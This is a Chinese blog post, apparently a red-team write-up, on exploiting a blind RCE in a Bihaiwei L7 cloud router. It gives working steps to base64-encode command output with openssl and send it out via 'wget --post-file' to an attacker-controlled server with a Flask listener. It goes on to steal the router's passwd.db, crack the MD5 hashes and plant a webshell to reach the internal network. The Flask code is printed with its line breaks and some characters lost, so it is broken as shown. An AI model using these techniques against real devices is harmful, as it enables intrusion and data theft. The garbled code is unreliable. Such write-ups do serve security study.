记录一次RCE无回显突破内网隔离

admin 2024年12月22日21:58:18评论26 views字数 1575阅读5分15秒阅读模式
在攻防演练的时候常常遇到无回显的情况,怎么办呢?你还在用DNSLog外带内容?还是在用文件写入Web访问读取?
在某次攻防演练我遇到了一个无回显的漏洞,DNSLog外带也不是很好用啊,无奈只能自己研究了

发现碧海威科技-L7云路由

首先通过公开的nday漏洞进行测试 是否存在

漏洞POC可以查看 小羊安全屋的公众号

https://mp.weixin.qq.com/s/oF1cydiyO92LVgJuyRKjvQ

记录一次RCE无回显突破内网隔离

然后通过``执行命令带出来 自己服务器开启python-web发现有命令回显但是回显内容有问题,只显示第一行的内容

记录一次RCE无回显突破内网隔离

尝试将执行的命令进行base64编码进行回显,发现没有回显内容,经过测试路由器被阉割了所有没有base64这个功能

记录一次RCE无回显突破内网隔离
但是openssl是有的 通过openssl进行base64编码
记录一次RCE无回显突破内网隔离

OK命令带出来了 拿到了id执行的内容,但是执行cat /etc/passwd的时候回显还是缺少东西。并且测试没有curl命令,web根目录没有写入webshell的权限

记录一次RCE无回显突破内网隔离

测试发现/tmp目录有写入权限 那我们可以通过wget的特性读取文件进行post发送

首先将执行的命令base64编码写入到/tmp/1.txt

记录一次RCE无回显突破内网隔离

然后编写Python脚本flask接收POST数据

代码如下
from flask import Flask, requestimport base64app = Flask(__name__)defbasedecode(encoded_data):    padding = len(encoded_data) % 4if padding != 0:        encoded_data += '=' * (4 - padding)try:        decoded_data = base64.b64decode(encoded_data).decode('utf-8')print('-' * 50)print(decoded_data)print('-' * 50)except Exception as e:print("Error decoding Base64 data:", e)@app.route('/', methods=['GET','POST'])defhandle_post():    data = request.form    result = '&'.join(f'{key}{value}'for key, value in data.items())        result = result.replace('n','')        basedecode(result)return'ok'if __name__ == '__main__':    app.run(debug=True, host='0.0.0.0', port=80)

通过python启动web

在通过wget的特性读取/tmp/1.txt进行发送成功拿到回显内容

wget –post-file=/tmp/1.txthttp://x.x.x.x/

记录一次RCE无回显突破内网隔离

记录一次RCE无回显突破内网隔离

但是还是不能写入webshell怎么办呢?通过探测后台有一个命令控制台是root权限

Web登录/usr/hls/etc/passwd.db查询数据库内容,改一下代码,读取passwd.db文件base64输出,通过python脚本解密成1.db在本地连接sqlite进入后台

这个过程同上面差不多就不细说了。

最后拿到md5加密的密码进行解密。

记录一次RCE无回显突破内网隔离

通过公开的漏洞后台有命令控制台可以执行命令

记录一次RCE无回显突破内网隔离

cdweb根目录wget下载webshell进行连接,OK突破隔离进入内网,开干吧

记录一次RCE无回显突破内网隔离

感谢关注RongRui科技,技术交流私信拉群

承接项目:软件开发、web开发、攻防演练、等保测评等

进群+V:BeoutSea   (备注:进群)

原文始发于微信公众号(RongRui安全团队):记录一次RCE无回显突破内网隔离

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月22日21:58:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记录一次RCE无回显突破内网隔离https://cn-sec.com/archives/3540142.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息